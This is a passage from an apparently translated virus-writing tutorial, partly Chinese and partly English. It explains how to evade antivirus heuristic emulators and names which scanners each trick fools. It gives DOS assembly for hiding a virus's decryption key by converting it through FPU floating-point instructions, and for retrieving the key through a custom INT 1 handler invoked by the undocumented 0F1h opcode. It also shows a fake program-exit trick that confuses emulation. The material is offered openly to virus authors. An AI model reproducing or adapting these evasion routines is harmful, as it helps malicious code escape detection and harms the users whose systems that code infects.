这种方式可以骗过 AVP, Dr. Web, f-prot v3.04 (even with the /PARANOID flag),但不能通过f-prot v2.27, Nod, Ikarus and Dr. Solomon's. f-prot v2.27 and Ikarus的检测
。另一方面我们也可以欺骗”正常的“使用PIQ手段(当然你要记得
,这并不能运行于现在的处理器上)
。 2 通过FPU 的手段:
我非常喜欢用欺骗方式
,因为相对于大多数的有效手段来说,这种方式是非常简单。它可以愚弄*ALL*所有的扫描器。你仅需要考虑的一件事情就是启发式扫描器不能仿真浮点指令。很明显,AVs考虑的是病毒程序运行是不需要FPU指令的。好了,让我们证明他们的想法是错误的。我们将要做的是,在加密完成后,通过浮点数来转换密钥,解密时再将它转换成整数。
; AFTER ENCRYPTION:
mov decrypt_key, key ;save key into integer variable
fild decrypt_key ;load integer key into FPU and store
fstp decrypt_float_key ;it back as floating point number
mov decrypt_key, 0 ;destroy the key (very important!)
; BEFORE DECRYPTION:
fld decrypt_float_key ;load the key as floating point number 正向我前面所说的,这一手段非常容易且极端有效,但如果你使用它,也要考虑到运行系统的要求。如果你的virus运行在没有FPU的系统上时,他将崩溃。
3 通过INT 1 的手段 :
前文已经提到,如果CPU的陷阱标志被设置,那么任何指令执行后,int 1 中断都会被调用。 我也可以通过手工的调用的int 1 中断来达到我们的目的。int 1中断的反汇编代码通常是0CDh/001h,自从有了一个专用opcode来表示int1(0F1h)中断后,这样反而是非常奇怪的,尽管这是未公开文档化的。但是"not documented"的意思也应该是"not emulated by AVs"。所有我们将这样做:我们设置一个我们自己的INT 1 中断的handler,同时调用”not doumented“ 的opcode 0F1h,返回解密密钥 。AVs 将没有办法知道解密密钥是什么。
mov ax, 3501h ;get int vector 1, so we can restore it later
int 21h ;not really necessary, but a little bit saver
mov int1_segm, es
mov int1_offs, bx
mov ax, 2501h ;set int vector 1 to our own routine
mov dx, offset int1_handler ;we assume DS=CS
int 21h
db 0F1h ;this will call our int 1 handler, which
mov decrypt_key, ax ;returns the decryption key
mov ax, 2501h ;restore the original int 1 handler
mov dx, cs:int1_offs
mov ds, cs:int1_segm
int 21h
[...]
int1_handler:
mov ax, key
iret
另外一件好笑的事是,我们可以伪造程序退出,可以这样做:
[...]
db 0F1h ;calls our int 1 handler (see above);
mov ax, 4c00h ;quit program
int 21h ;but... this code is never reached... ;-)
[...]
int1_handler:
mov bx, sp ;modify return address, so the quit command
add word ptr ss:[bx], 5 ;is never executed.
iret